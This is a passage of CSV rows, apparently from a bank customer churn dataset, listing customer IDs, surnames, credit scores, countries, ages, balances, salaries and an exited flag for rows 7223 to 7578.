+7223,15694237,McEwan,744,Spain,Male,39,4,95161.75,1,1,0,19409.77,0 +7224,15729771,Davide,799,Germany,Male,31,9,154586.92,1,0,1,88604.89,1 +7225,15609823,Chieloka,751,Spain,Female,34,8,127095.14,2,0,0,479.54,0 +7226,15793366,Humphreys,781,Germany,Male,35,7,92526.15,2,1,1,173837.54,0 +7227,15614813,Cocci,777,Germany,Female,46,0,107362.8,1,1,0,487.3,0 +7228,15566495,Hanson,704,Spain,Female,24,2,0,1,1,0,35600.25,1 +7229,15707602,Macleod,539,France,Female,47,2,127286.04,2,1,1,166929.43,1 +7230,15635244,Ritchie,716,France,Female,29,6,0,2,1,1,98998.61,0 +7231,15805627,Nebechukwu,670,France,Male,37,2,0,2,1,1,54229.74,0 +7232,15607986,Nnamutaezinwa,555,France,Male,40,10,139930.18,1,1,1,105720.09,0 +7233,15799785,Ikemefuna,679,Germany,Female,30,4,77949.69,1,1,1,121151.46,0 +7234,15699963,Scott,571,France,Male,38,1,121405.04,1,1,1,154844.22,0 +7235,15624595,Chiang,512,Spain,Female,35,5,124580.69,1,1,1,18785.48,0 +7236,15629750,Artyomova,697,France,Male,35,5,133087.76,1,1,0,64771.61,0 +7237,15651460,Hsieh,424,Spain,Male,34,7,0,1,1,1,16250.61,0 +7238,15753550,Levien,684,France,Female,43,7,0,2,1,0,131093.99,0 +7239,15594133,Erskine,697,Spain,Male,62,7,0,1,1,0,129188.18,1 +7240,15772329,Fiorentino,580,Germany,Male,45,8,103741.14,1,1,0,47428.73,1 +7241,15591552,Okonkwo,600,France,Female,32,7,98877.95,1,1,0,132973.21,0 +7242,15750921,Monds,521,France,Male,37,5,105843.26,2,1,1,84908.2,0 +7243,15701687,Campbell,664,Spain,Male,44,7,77526.66,3,0,0,57338.56,1 +7244,15728906,Ibekwe,634,France,Male,77,5,0,2,1,1,161579.85,0 +7245,15670029,Marcelo,445,France,Female,33,7,0,2,1,0,122625.68,0 +7246,15763579,Castro,702,Germany,Female,36,2,105264.88,2,1,1,52909.87,0 +7247,15728010,Capon,485,France,Male,37,5,0,2,0,1,170226.47,0 +7248,15663194,Voronova,582,Germany,Female,40,3,110150.43,1,1,1,191757.65,1 +7249,15736510,Loggia,605,Spain,Female,57,2,0,3,1,0,66652.75,1 +7250,15745804,Law,628,France,Male,25,7,0,2,1,1,195977.75,0 +7251,15631451,Grant,604,Spain,Female,28,6,0,2,1,1,69056.26,0 +7252,15746995,Greco,724,Germany,Male,31,9,138166.3,1,1,0,12920.43,0 +7253,15730673,Dietz,567,Germany,Male,40,7,122265.24,1,1,0,138552.74,0 +7254,15734649,Martel,779,Spain,Female,55,0,133295.98,1,1,0,22832.71,1 +7255,15701081,Jarvis,785,France,Male,36,2,0,1,0,1,61811.1,0 +7256,15632503,Meng,563,France,Female,32,0,148326.09,1,1,0,191604.27,1 +7257,15585928,Hay,821,Germany,Female,31,2,68927.57,1,1,1,25445,0 +7258,15648681,Voronoff,747,France,Female,47,5,139914.6,4,0,1,129964.56,1 +7259,15747757,Trevascus,600,Germany,Female,58,8,118723.11,1,0,0,6209.51,1 +7260,15718921,Ho,625,Spain,Male,32,7,106957.28,1,1,1,134794.02,0 +7261,15571081,Hansen,773,France,Female,41,7,190238.93,1,1,1,57549.65,0 +7262,15734578,Craig,726,France,Female,53,1,113537.73,1,0,1,28367.21,0 +7263,15579583,Hall,641,Spain,Female,40,4,101090.27,1,1,1,51703.09,0 +7264,15622729,Sun,649,France,Female,46,2,0,2,1,1,66602.7,0 +7265,15662189,Durant,434,Spain,Male,33,3,0,1,1,1,2739.71,0 +7266,15692718,Jackson,738,France,Female,38,7,0,2,0,0,69227.42,0 +7267,15762716,Chigozie,762,Spain,Female,60,10,168920.75,1,1,0,31445.03,1 +7268,15724851,Farmer,507,Germany,Male,31,9,111589.67,1,1,0,150037.19,0 +7269,15587266,Douglas,606,Germany,Female,27,6,172310.33,1,0,1,111448.92,0 +7270,15675926,Ardis,655,Germany,Male,34,7,118028.35,1,1,0,51226.32,1 +7271,15706268,Smith,697,Germany,Male,51,1,147910.3,1,1,1,53581.14,0 +7272,15581871,Butler,504,Germany,Male,42,7,131287.36,2,1,1,149697.78,0 +7273,15666166,Pettry,653,France,Female,74,0,121276.32,1,1,1,160348.31,0 +7274,15671582,John,660,Spain,Male,38,6,109869.32,1,1,1,154641.91,0 +7275,15680901,Potter,652,France,Female,34,6,97435.85,2,1,1,104331.76,0 +7276,15642336,Shaw,669,France,Female,42,9,0,2,0,0,135630.32,0 +7277,15653147,Boyle,594,France,Male,35,2,133853.27,1,1,1,65361.66,0 +7278,15571284,Elmore,756,Germany,Male,32,0,109528.16,2,1,1,56176.31,0 +7279,15591360,Udinesi,642,France,Female,33,4,84607.34,2,0,1,60059.47,0 +7280,15810485,Sun,486,Germany,Male,37,1,101438,1,0,0,51364.56,0 +7281,15611973,Tuan,804,France,Male,55,7,0,2,1,1,118752.6,0 +7282,15735572,Lawrence,629,France,Male,59,9,113657.83,1,1,1,116848.79,1 +7283,15567860,Burrows,581,Spain,Female,44,7,189318.16,2,1,0,45026.23,1 +7284,15795690,Shao,667,France,Male,31,3,99513.91,1,1,1,189657.26,0 +7285,15706464,White,667,Spain,Male,35,4,97585.32,2,0,0,57213.46,0 +7286,15725028,Chialuka,679,France,Male,29,3,0,2,1,1,63687.06,0 +7287,15751167,Toscano,680,France,Female,43,4,0,2,1,1,58761.33,0 +7288,15633944,McKay,644,Spain,Male,32,3,136659.74,1,1,1,14187.78,0 +7289,15672637,Voronkov,571,France,Female,30,4,85755.86,1,1,0,145115.95,0 +7290,15680895,Sal,627,Spain,Female,35,7,0,1,1,0,187718.26,0 +7291,15793825,Ikechukwu,536,France,Male,39,4,0,2,1,0,27150.35,0 +7292,15611318,Kruglova,599,Spain,Male,33,4,51690.89,1,1,0,111622.76,1 +7293,15768474,Clements,744,Spain,Male,34,3,0,2,1,0,27244.35,0 +7294,15716276,Kennedy,709,France,Female,34,2,111669.68,1,1,0,57029.66,0 +7295,15623668,Johnson,653,Germany,Male,31,2,154741.45,2,0,0,25183.01,0 +7296,15696361,Chung,648,Germany,Male,31,7,125681.51,1,0,1,129980.93,0 +7297,15607988,Garland,663,Germany,Female,37,8,155303.71,1,1,0,118716.63,0 +7298,15637891,Docherty,613,Germany,Female,43,4,140681.68,1,0,1,20134.07,0 +7299,15789865,Nnaife,620,France,Male,28,9,71902.52,1,0,1,190208.23,0 +7300,15627190,Lettiere,661,France,Male,51,6,146606.6,1,1,1,68021.9,0 +7301,15788224,Sanderson,669,Germany,Male,45,1,123949.75,1,0,0,110881.56,0 +7302,15702149,Fomin,767,Germany,Female,33,1,144753.21,1,1,1,132480.75,0 +7303,15708236,Wright,491,France,Female,72,6,91285.22,1,1,1,7032.95,0 +7304,15568469,Buckley,653,France,Male,43,0,0,2,1,0,27862.58,0 +7305,15764444,Pan,679,Germany,Male,58,8,125850.53,2,1,1,87008.17,0 +7306,15794204,Manna,687,France,Male,28,7,108116.66,1,1,1,27411.19,0 +7307,15807546,Chinwendu,837,France,Female,38,2,0,2,1,1,46395.21,0 +7308,15782159,Ndubuagha,850,France,Male,28,8,67639.56,2,1,1,194245.29,0 +7309,15618703,White,663,Spain,Female,53,6,150200.23,1,0,1,151317.27,1 +7310,15793317,Hale,547,Spain,Female,22,7,141287.15,1,1,0,118142.79,0 +7311,15740487,Ross,627,France,Female,41,6,0,3,1,1,138700.75,1 +7312,15722479,Ikenna,707,France,Male,37,1,0,2,0,1,6035.51,0 +7313,15688264,Nkemdilim,629,France,Female,43,0,0,2,1,1,41263.69,0 +7314,15583067,McMillan,687,France,Female,36,4,97157.96,1,0,1,63185.05,0 +7315,15686670,Duke,588,France,Female,36,2,0,2,1,0,92536,1 +7316,15593345,Bradbury,502,Germany,Female,33,6,125241.17,2,1,1,158736.07,0 +7317,15811690,Bayley,793,Germany,Male,54,2,128966.13,1,0,0,18633.4,1 +7318,15734008,Bartlett,727,Germany,Male,59,5,152581.06,1,1,0,71830.1,1 +7319,15771856,Cremin,632,Spain,Female,32,1,0,2,1,0,19525.65,0 +7320,15762045,Gilchrist,474,Germany,Female,37,5,142688.57,2,1,1,110953.33,0 +7321,15778142,Shih,850,Germany,Female,31,1,130089.56,2,1,1,4466.21,0 +7322,15689268,Fitzpatrick,584,France,Male,36,9,0,1,1,1,105818.51,0 +7323,15721507,Pagan,713,France,Female,32,1,117094.02,1,0,0,149558.83,1 +7324,15750476,Hendrick,742,Spain,Male,24,8,0,2,1,0,4070.28,0 +7325,15810723,Sanderson,607,France,Female,39,10,0,3,1,0,132741.13,1 +7326,15787229,Samsonova,761,Spain,Female,34,2,0,2,1,0,61251.25,0 +7327,15570508,Azubuike,600,France,Male,49,7,90218.9,1,1,0,91347.76,0 +7328,15617065,Pan,650,Spain,Male,42,4,194532.66,1,1,0,171045.31,1 +7329,15689786,Massie,850,Germany,Male,56,1,169743.83,1,0,0,155850.4,1 +7330,15648876,Sandover,501,France,Female,34,5,0,1,1,0,27380.99,0 +7331,15802106,Craig,418,France,Male,34,8,155973.88,1,1,0,154208.96,0 +7332,15773869,Onwudiwe,797,Spain,Male,59,4,129321.44,1,1,1,93624.55,0 +7333,15711635,Chu,788,Germany,Female,42,6,138650.49,2,1,0,64746.07,0 +7334,15795527,Zetticci,699,Spain,Male,43,2,136487.86,2,1,0,82815.93,0 +7335,15759133,Vaguine,616,France,Male,18,6,0,2,1,1,27308.58,0 +7336,15679394,Owen,651,France,Female,41,4,38617.2,1,1,1,104876.8,0 +7337,15801072,Hurst,654,France,Female,28,7,0,2,1,0,151316.37,0 +7338,15646082,Harding,676,France,Female,34,8,82909.14,1,1,0,91817.38,1 +7339,15796111,Smith,708,Germany,Female,54,8,145151.4,1,0,1,125311.17,1 +7340,15670646,Moore,499,Spain,Female,42,0,147187.84,1,1,1,14868.94,1 +7341,15578722,Bradley,689,France,Male,39,4,0,2,1,0,196112.45,0 +7342,15815095,Burfitt,850,Spain,Male,54,7,108185.81,2,0,0,24093.4,1 +7343,15730360,Mackenzie,502,France,Male,30,4,0,2,1,1,66263.87,0 +7344,15763194,Milanesi,643,France,Male,34,7,0,2,0,1,100304.13,0 +7345,15720725,Shubin,762,France,Male,28,2,0,2,1,0,167909.52,0 +7346,15567834,Nieves,719,France,Male,49,5,105918.1,1,1,1,16246.59,0 +7347,15720644,Martin,789,France,Male,27,6,0,2,1,0,103603.65,0 +7348,15811742,Jen,553,Spain,Male,42,7,0,2,1,0,7680.23,0 +7349,15813363,Woods,448,Spain,Male,25,2,0,2,0,0,95215.73,0 +7350,15717629,Docherty,632,Germany,Male,42,6,59972.26,2,0,1,148172.94,0 +7351,15713160,Lin,669,Spain,Male,25,7,157228.61,2,1,0,124382.9,0 +7352,15568878,Cheng,654,Spain,Male,34,5,0,2,1,0,159311.46,0 +7353,15809800,Korovina,726,France,Female,38,4,0,2,0,0,6787.48,0 +7354,15736420,Macdonald,596,France,Male,21,4,210433.08,2,0,1,197297.77,1 +7355,15757933,Hardy,733,Germany,Female,30,1,102452.71,1,1,0,21556.95,0 +7356,15623072,Shaw,529,Spain,Female,35,5,0,2,1,0,56518,0 +7357,15683993,Knight,493,France,Female,37,8,142987.46,2,1,0,158840.99,0 +7358,15570947,Bruny,615,Spain,Female,29,7,143330.56,2,1,1,126396.01,0 +7359,15797767,Ikedinachukwu,600,France,Female,49,6,0,1,0,1,148087.88,1 +7360,15731989,Moran,666,France,Male,36,4,120165.4,2,1,0,33701.5,0 +7361,15591035,Macleod,644,Spain,Male,54,6,0,1,0,1,84622.37,0 +7362,15586479,Yin,692,France,Female,36,4,0,1,1,0,185580.89,1 +7363,15605872,Felix,707,France,Male,73,6,66573.17,1,1,1,62768.8,0 +7364,15666012,Rippey,603,France,Male,40,4,102833.46,2,1,1,38829.11,0 +7365,15641733,Mishina,671,France,Female,34,5,164757.56,1,1,0,110748.88,0 +7366,15593178,Graham,568,Spain,Female,36,10,153610.61,1,1,1,54083.8,1 +7367,15649183,Johnston,598,Spain,Female,35,8,0,3,0,1,88658.73,0 +7368,15736399,Korovin,606,Spain,Male,42,10,0,2,1,0,177938.52,0 +7369,15751137,Lei,850,Germany,Female,36,3,169025.83,1,1,0,174235.06,0 +7370,15757188,Chimaijem,644,Spain,Female,26,4,153455.72,2,1,1,82696.84,0 +7371,15726167,Scott,655,France,Male,37,4,0,2,1,1,142415.97,0 +7372,15624850,Grant,850,France,Male,30,10,153972.89,2,1,0,62811.03,0 +7373,15717700,McIntyre,683,Spain,Male,34,9,114609.55,2,0,1,25339.29,0 +7374,15716347,Griffin,663,Germany,Male,37,7,143625.83,2,0,1,176487.05,0 +7375,15696287,Converse,682,Germany,Female,38,1,116520.28,1,1,1,49833.5,1 +7376,15638871,Ch'ang,639,France,Male,77,6,80926.02,2,1,1,55829.25,0 +7377,15765093,Coates,704,France,Male,23,6,166594.78,1,1,1,155823.2,0 +7378,15592999,Reid,691,France,Female,40,0,115465.98,1,1,1,60622.61,0 +7379,15641715,Ts'ui,599,France,Male,34,8,0,2,1,1,174196.68,0 +7380,15607746,Belstead,573,France,Female,36,1,0,1,1,1,56905.38,0 +7381,15625311,Dickinson,589,Germany,Female,41,7,92618.62,1,1,1,101178.85,0 +7382,15573077,Nwora,620,Germany,Female,25,8,141825.88,1,1,1,73857.94,1 +7383,15735106,Bishop,647,Spain,Male,28,6,149594.02,2,1,0,102325.19,0 +7384,15672912,Loggia,737,Spain,Female,39,7,130051.66,2,0,0,55356.39,1 +7385,15589881,Rowe,634,France,Female,41,7,0,2,1,1,131284.93,0 +7386,15660144,Balashov,660,France,Male,38,4,0,2,0,0,88080.43,0 +7387,15664083,Ulyanova,666,Germany,Female,37,2,158468.76,1,0,1,93266.01,0 +7388,15690898,Bogolyubova,696,France,Male,44,8,161889.79,1,0,0,75562.47,0 +7389,15808023,Remington,836,France,Female,29,9,133681.78,1,1,1,153747.73,0 +7390,15676909,Mishin,667,Spain,Female,34,5,0,2,1,0,163830.64,0 +7391,15764922,Tu,596,Spain,Male,20,3,187294.46,1,1,0,103456.47,0 +7392,15766734,Castiglione,430,France,Male,31,5,0,1,1,0,95655.16,0 +7393,15795079,Nnaife,596,Spain,Male,67,6,0,2,1,1,138350.74,0 +7394,15757434,Yang,599,France,Male,28,7,119706.22,1,0,0,31190.42,0 +7395,15673747,Ayers,519,France,Female,22,8,0,1,0,1,167553.06,0 +7396,15808386,Cocci,721,Germany,Female,45,7,138523.2,1,0,0,59604.45,1 +7397,15603565,Mackenzie,603,Spain,Female,56,5,90778.76,2,1,0,162223.67,1 +7398,15744044,Fiorentini,572,Germany,Male,47,4,99353.42,1,1,0,196549.85,1 +7399,15577771,Akabueze,453,Germany,Female,40,1,111524.49,1,1,1,120373.84,1 +7400,15769548,Hyde,668,France,Female,37,7,128645.67,1,1,0,92149.64,0 +7401,15802071,Levi,762,Germany,Male,35,1,117458.51,1,0,1,178361.48,1 +7402,15677395,Nwabugwu,633,France,Female,39,9,129189.15,2,0,0,170998.83,0 +7403,15632010,Chia,647,Spain,Male,33,7,121260.19,2,1,0,77216.48,0 +7404,15779492,Trevisano,796,Spain,Male,56,6,94231.13,1,0,0,121164.6,1 +7405,15694677,Bennetts,733,France,Male,39,1,0,2,1,1,141841.31,0 +7406,15704315,Teng,556,France,Male,34,8,163757.06,1,1,1,104000.06,0 +7407,15742009,Hsueh,489,Spain,Male,58,4,0,2,1,1,191419.32,0 +7408,15766663,Mahmood,639,France,Male,22,4,0,2,1,0,28188.96,0 +7409,15742297,Sinclair,715,France,Male,35,2,141005.47,1,1,1,60407.93,0 +7410,15688059,Chin,807,Germany,Female,42,9,105356.09,2,1,1,130489.37,0 +7411,15752344,She,714,Spain,Male,34,5,0,2,1,0,193040.32,0 +7412,15698749,He,626,Germany,Female,23,6,85897.95,1,1,0,109742.8,0 +7413,15631693,Hill,697,France,Male,36,7,0,2,1,1,74760.32,0 +7414,15604536,Vachon,850,Germany,Female,31,4,164672.66,1,0,1,61936.1,0 +7415,15802869,Ball,737,Germany,Female,45,2,99169.67,2,1,1,78650.95,0 +7416,15635598,Hsieh,812,France,Male,29,6,0,2,0,0,168023.6,0 +7417,15592326,Baker,583,France,Male,36,8,0,2,0,1,5571.59,0 +7418,15736533,Monaldo,730,Germany,Female,37,5,124053.03,1,1,0,118591.67,0 +7419,15647191,Lucchesi,677,France,Male,36,4,0,2,1,0,7824.31,0 +7420,15622507,Hamilton,748,Germany,Female,40,3,103499.09,2,0,0,38153.19,0 +7421,15765487,Kuo,753,Germany,Female,38,9,151766.71,1,1,1,180829.99,0 +7422,15646521,Fan,634,Spain,Female,36,1,0,1,1,1,143960.72,0 +7423,15746258,Wright,622,France,Male,29,7,101486.96,1,1,1,8788.35,0 +7424,15692430,Milano,699,Germany,Male,36,2,123601.56,2,1,0,103557.85,0 +7425,15625501,Wall,570,Germany,Male,38,1,127201.58,1,1,0,147168.28,1 +7426,15640521,Chidumaga,552,Germany,Male,33,3,144962.74,1,1,0,58844.84,1 +7427,15790630,Olisaemeka,619,France,Female,48,4,0,1,0,0,18094.96,1 +7428,15664720,Kovalyova,714,Spain,Male,33,8,122017.19,1,0,0,162515.17,0 +7429,15750055,Onio,503,Spain,Male,32,9,100262.88,2,1,1,157921.25,0 +7430,15644878,Hill,685,Spain,Female,43,6,117302.62,1,0,0,68701.73,0 +7431,15754578,Okeke,606,France,Female,35,0,135984.15,2,1,0,186778.89,0 +7432,15705379,Upjohn,678,France,Male,38,3,0,2,1,0,66561.6,0 +7433,15761047,H?,724,Germany,Male,31,2,160997.54,2,0,1,64831.36,0 +7434,15671293,Marcus,779,Germany,Female,37,2,128389.63,1,1,1,6589.16,1 +7435,15687527,Yobachukwu,638,Spain,Male,35,1,0,2,1,0,165370.66,0 +7436,15647898,Russell,610,Spain,Female,50,5,130554.51,3,1,0,184758.17,1 +7437,15671534,Hovell,646,Germany,Female,57,6,90212,1,1,0,13911.27,1 +7438,15591248,Chukwumaobim,628,France,Female,29,9,71996.29,1,1,1,34857.46,0 +7439,15676156,Boyle,528,France,Female,32,4,85615.66,2,1,0,156192.43,0 +7440,15812918,Scott,432,France,Female,27,6,62339.81,2,0,0,53874.67,0 +7441,15604130,Johnstone,622,Spain,Female,47,6,142319.03,1,0,0,100183.05,0 +7442,15700549,Alvares,721,France,Male,54,5,0,2,1,1,4493.12,0 +7443,15715519,McDavid,614,Spain,Male,36,5,0,2,1,0,130610.78,0 +7444,15707042,Dellucci,634,France,Female,24,2,87413.19,1,1,0,63340.65,0 +7445,15605276,Brothers,742,France,Female,29,4,0,2,1,1,180066.59,0 +7446,15630592,Sanders,516,France,Female,45,4,0,1,1,0,95273.73,1 +7447,15636626,Morrison,718,France,Male,35,3,97560.16,1,1,1,53511.74,0 +7448,15740411,Molle,636,Germany,Male,30,8,141787.31,2,1,1,109685.61,0 +7449,15593834,Genovese,691,Spain,Male,36,7,129934.64,1,0,0,75664.56,1 +7450,15804235,Zetticci,698,France,Female,37,2,166178.02,2,1,1,71972.95,0 +7451,15679801,Hsueh,712,Spain,Female,39,5,163097.55,2,1,1,23702.42,0 +7452,15673907,Alexander,659,France,Male,20,8,0,2,0,0,112572.02,0 +7453,15636562,Muravyova,573,Spain,Male,44,8,0,2,0,0,62424.46,0 +7454,15702571,Wright,778,Germany,Female,35,1,151958.19,3,1,1,131238.37,1 +7455,15627365,Calabresi,732,France,Male,46,0,0,2,1,1,184350.78,0 +7456,15748499,Johnson,550,Germany,Male,33,4,118400.91,1,0,1,13999.64,1 +7457,15598614,Lucchesi,790,Spain,Male,20,8,0,2,1,0,168152.76,0 +7458,15668889,Galgano,665,Germany,Female,43,2,116322.27,4,1,0,35640.12,1 +7459,15800049,Grigoryeva,728,Spain,Female,43,5,0,1,1,1,120088.17,0 +7460,15583724,Raymond,645,Spain,Female,29,4,0,2,1,1,74346.11,0 +7461,15622083,Paterson,647,Germany,Male,30,6,143138.91,2,1,0,2955.46,0 +7462,15645571,Genovese,596,Spain,Male,32,4,0,2,0,1,146504.35,0 +7463,15598266,Martin,610,France,Male,40,9,0,1,1,1,149602.54,0 +7464,15667934,Moretti,512,France,Male,36,0,129804.17,1,1,0,53020.9,0 +7465,15569682,Leckie,768,Germany,Male,37,9,108308.11,1,1,0,41788.25,1 +7466,15772941,Lane,666,Germany,Male,30,3,110153.27,1,0,1,74849.46,0 +7467,15586174,Brodney,700,Germany,Female,30,4,116377.48,1,1,1,134417.31,0 +7468,15803682,Angelo,651,Germany,Female,37,10,117791.06,2,1,1,75837.58,0 +7469,15627328,Millar,542,Spain,Female,26,2,0,2,1,1,54869.54,0 +7470,15717065,Balashov,686,France,Female,35,8,105419.73,1,1,0,35356.46,0 +7471,15602456,Afanasyev,850,Germany,Female,47,4,99219.47,2,1,1,122141.13,0 +7472,15721569,Chialuka,658,Germany,Female,55,8,119327.93,1,0,1,119439.66,0 +7473,15573798,Yermolayev,448,France,Female,36,6,83947.12,2,1,0,81999.53,0 +7474,15638272,Tien,609,Spain,Male,32,4,99883.16,1,1,1,120594.85,0 +7475,15799859,Lucchesi,704,France,Male,50,4,165438.26,1,1,0,120770.75,1 +7476,15599152,Lai,698,France,Male,31,1,156111.24,1,0,0,134790.74,0 +7477,15737909,Bates,759,France,Male,44,2,111095.58,2,1,0,100137.7,0 +7478,15646190,Saunders,677,France,Female,56,0,119963.45,1,0,0,158325.87,1 +7479,15711249,Chukwuemeka,544,Spain,Male,22,4,0,2,1,0,70007.67,0 +7480,15671987,Meagher,567,Spain,Male,35,8,153137.74,1,1,0,88659.07,0 +7481,15812766,Golubeva,490,Spain,Male,40,6,156111.08,1,0,0,190889.13,0 +7482,15778589,Collier,626,France,Male,34,7,113014.7,2,1,1,56646.28,0 +7483,15750104,Chan,718,Germany,Male,43,5,132615.73,2,1,0,32999.1,0 +7484,15784526,Chen,616,France,Male,44,5,102016.38,1,0,1,178235.37,1 +7485,15646563,Wright,772,France,Female,35,9,0,1,0,1,25448.31,0 +7486,15744423,Cocci,561,France,Male,32,5,0,2,1,0,84871.99,0 +7487,15593694,Williams,814,France,Male,49,8,0,2,0,0,157822.54,0 +7488,15785367,McGuffog,651,France,Female,56,4,0,1,0,0,84383.22,1 +7489,15687765,Chukwujamuike,538,Germany,Female,42,4,80380.24,1,1,0,119216.46,0 +7490,15789014,Scott,600,France,Female,26,6,108909.12,1,1,0,82547.01,0 +7491,15703177,Bell,654,France,Female,35,2,90865.8,1,1,1,86764.46,0 +7492,15660263,Olisaemeka,622,France,Male,40,4,99799.76,2,1,0,197372.13,0 +7493,15776545,Napolitani,682,France,Male,28,10,200724.96,1,0,1,82872.64,1 +7494,15683276,Sargood,610,Spain,Female,37,10,140363.95,2,1,1,129563.86,0 +7495,15599272,Harrington,795,France,Female,36,1,151844.64,1,1,1,135388.89,0 +7496,15589541,Sutherland,557,France,Female,27,2,0,2,0,1,4497.55,0 +7497,15608804,Allan,824,Germany,Male,49,8,133231.48,1,1,1,67885.37,0 +7498,15645820,Folliero,698,France,Male,27,7,0,2,1,0,111471.55,0 +7499,15659031,Mordvinova,630,France,Female,36,8,126598.99,2,1,1,134407.93,0 +7500,15790113,Schofield,609,Germany,Female,71,6,113317.1,1,1,0,108258.22,1 +7501,15652289,Williams,694,France,Male,47,4,0,2,1,0,197528.62,0 +7502,15605341,Baird,681,France,Female,58,8,93173.88,1,1,1,139761.25,0 +7503,15697844,Whitehouse,721,Spain,Female,32,10,0,1,1,0,136119.96,1 +7504,15652048,Thompson,563,Germany,Male,44,7,105007.31,2,1,1,197812.16,0 +7505,15587038,Ogochukwu,654,Spain,Female,32,2,0,1,1,1,51972.92,1 +7506,15660528,Niu,659,Spain,Male,27,4,0,2,1,0,99341.87,0 +7507,15700300,Okoli,674,Germany,Female,44,4,131593.85,1,0,1,171345.02,1 +7508,15642001,Lorenzen,576,Germany,Male,44,9,119530.52,1,1,0,119056.68,1 +7509,15580366,Okechukwu,566,Germany,Male,54,4,118614.6,2,1,1,172601.62,0 +7510,15657228,Anderson,545,Germany,Male,37,9,95829.13,2,0,1,104936.88,0 +7511,15729377,Ku,798,France,Male,36,1,0,2,1,1,159044.1,0 +7512,15686913,Kung,757,France,Male,38,0,0,1,1,0,83263.06,0 +7513,15631267,Lu,641,France,Male,50,6,153590.73,2,1,1,130910.78,0 +7514,15632275,Trevisano,718,France,Male,29,2,0,1,1,0,126336.72,0 +7515,15715907,Onwubiko,699,France,Male,64,9,113109.52,1,1,0,27980.8,1 +7516,15764841,Vidler,623,France,Female,35,0,130557.24,1,1,1,47880.71,0 +7517,15748649,Shen,644,France,Male,40,8,93183.19,1,1,0,73882.49,0 +7518,15771409,McGregor,586,France,Male,58,7,151933.63,1,1,0,162960.05,1 +7519,15779207,Nnamdi,500,Germany,Male,30,2,125495.64,2,1,1,68807.47,0 +7520,15814116,Castiglione,583,France,Female,42,7,0,2,1,0,144039.05,0 +7521,15665087,Bergamaschi,595,Germany,Female,26,8,118547.72,1,1,1,151192.18,0 +7522,15611189,Allingham,670,Spain,Male,43,1,97792.21,1,0,0,120225.62,0 +7523,15729718,Stelzer,610,France,Male,41,6,0,3,0,0,56118.81,1 +7524,15733602,Rubin,814,Spain,Female,72,2,0,2,0,1,130853.03,0 +7525,15620103,Ho,660,France,Female,40,8,167181.01,1,1,1,185156.94,0 +7526,15770406,Watson,580,Germany,Male,35,9,121355.19,1,0,1,35671.45,0 +7527,15800554,Perry,850,France,Female,81,1,0,2,1,1,59568.24,0 +7528,15611409,Sun,676,Spain,Male,35,0,0,2,0,0,139911.58,0 +7529,15646535,Harrell,578,France,Male,46,5,113226.47,1,1,0,56770.76,0 +7530,15575430,Robson,579,France,Female,33,1,118392.75,1,1,1,157564.75,0 +7531,15711299,Wilson,711,Germany,Female,52,8,145262.54,1,0,1,131473.31,0 +7532,15642063,Kelechi,692,France,Male,40,6,163505.16,1,0,0,90424.09,0 +7533,15706602,Bates,760,Spain,Female,33,1,118114.28,2,0,1,156660.21,0 +7534,15592773,Eberegbulam,630,Germany,Female,51,0,108449.23,3,0,0,88372.69,1 +7535,15786539,Olisaemeka,808,France,Male,32,1,0,2,1,1,46200.71,0 +7536,15737542,Davey,611,Germany,Female,36,10,103294.56,1,1,0,160548.12,0 +7537,15590234,De Luca,697,France,Female,42,1,0,1,1,0,1262.83,1 +7538,15773776,Ho,655,France,Female,38,6,0,1,1,1,188639.28,0 +7539,15728082,Vasiliev,601,Spain,Male,28,6,0,2,1,0,14665.28,0 +7540,15609987,Smith,755,France,Male,42,2,119919.12,1,1,0,156868.21,0 +7541,15735330,Sung,553,France,Male,37,1,0,1,1,0,30461.55,0 +7542,15649430,White,723,France,Male,28,4,0,2,1,1,123885.88,0 +7543,15768777,Wang,507,Spain,Female,34,4,0,2,1,1,60688.38,0 +7544,15777893,Davide,777,France,Male,43,1,0,2,1,0,21785.91,0 +7545,15791326,Nnamdi,566,France,Male,34,3,0,1,0,0,188135.69,0 +7546,15615176,Welsh,732,France,Male,26,7,0,2,1,0,154364.66,0 +7547,15735221,Sousa,697,France,Female,42,10,0,2,1,0,61312.15,0 +7548,15617991,Andrews,555,France,Male,29,4,128744.04,1,1,1,47454.93,0 +7549,15658504,Chiawuotu,584,Germany,Female,62,9,137727.34,2,0,1,121102.9,0 +7550,15785705,Thomson,705,Germany,Female,44,10,106731.58,1,1,0,137419.87,1 +7551,15801817,Carpenter,688,France,Female,38,7,123544.21,1,1,1,157664.02,0 +7552,15752578,Yefimova,626,France,Female,37,2,133968.96,2,1,0,148689.65,0 +7553,15781574,Ma,636,Spain,Male,76,9,126534.6,1,1,1,39789.62,0 +7554,15792107,Black,719,Spain,Female,35,8,0,1,1,1,165162.4,0 +7555,15569917,Obijiaku,706,Spain,Male,30,6,87609.68,2,0,0,137674.55,1 +7556,15721504,King,731,Spain,Male,41,3,0,2,1,0,101371.72,0 +7557,15757306,Miller,738,Spain,Male,49,3,0,3,1,1,65066.48,1 +7558,15647295,Chin,426,France,Male,34,9,0,2,1,0,107876.91,0 +7559,15642098,Cox,622,Spain,Female,36,0,108960,2,1,0,111180.3,1 +7560,15696120,Wallace,701,Spain,Female,30,2,0,2,1,0,115650.63,0 +7561,15675176,Price,512,France,Male,51,6,144953.31,1,1,1,165035.17,0 +7562,15700046,Yuan,635,France,Male,41,4,103544.88,2,1,0,193746.55,0 +7563,15782089,Mullen,685,France,Male,33,6,0,1,1,0,58458.26,0 +7564,15706394,Howell,609,France,Male,53,7,0,2,0,1,52332.85,0 +7565,15759387,McIntosh,598,Germany,Male,38,1,101487.18,1,1,1,75959.1,1 +7566,15623369,Clifton,708,France,Male,52,10,105355.81,1,1,0,123.07,1 +7567,15732943,Okwuoma,574,Spain,Male,36,4,77967.5,1,1,0,167066.95,1 +7568,15750545,Chidiebere,629,France,Male,44,5,0,4,0,0,117572.59,1 +7569,15809909,Fan,422,Spain,Female,54,4,0,2,1,1,7166.71,0 +7570,15642448,Onyemauchechukwu,656,Spain,Male,28,8,120047.77,1,1,1,137173.39,0 +7571,15791944,Harker,697,France,Male,32,7,175464.85,3,1,0,116442.42,1 +7572,15768342,Bolton,718,France,Male,52,8,79475.3,3,1,1,32421.32,1 +7573,15567919,Lazarev,586,Germany,Male,37,8,167735.69,2,0,1,104665.79,0 +7574,15674750,Alexeyeva,481,Spain,Female,37,8,0,2,1,0,44215.86,0 +7575,15778345,Stevens,749,France,Female,33,1,74385.98,1,1,0,20164.47,0 +7576,15687634,Glover,561,Germany,Male,49,5,94754,1,1,1,26691.31,0 +7577,15666096,Ibekwe,676,Spain,Male,27,4,0,1,0,1,107955.67,0 +7578,15581700,Paterson,615,Germany,Male,43,3,86920.86,1,1,1,150048.37,0 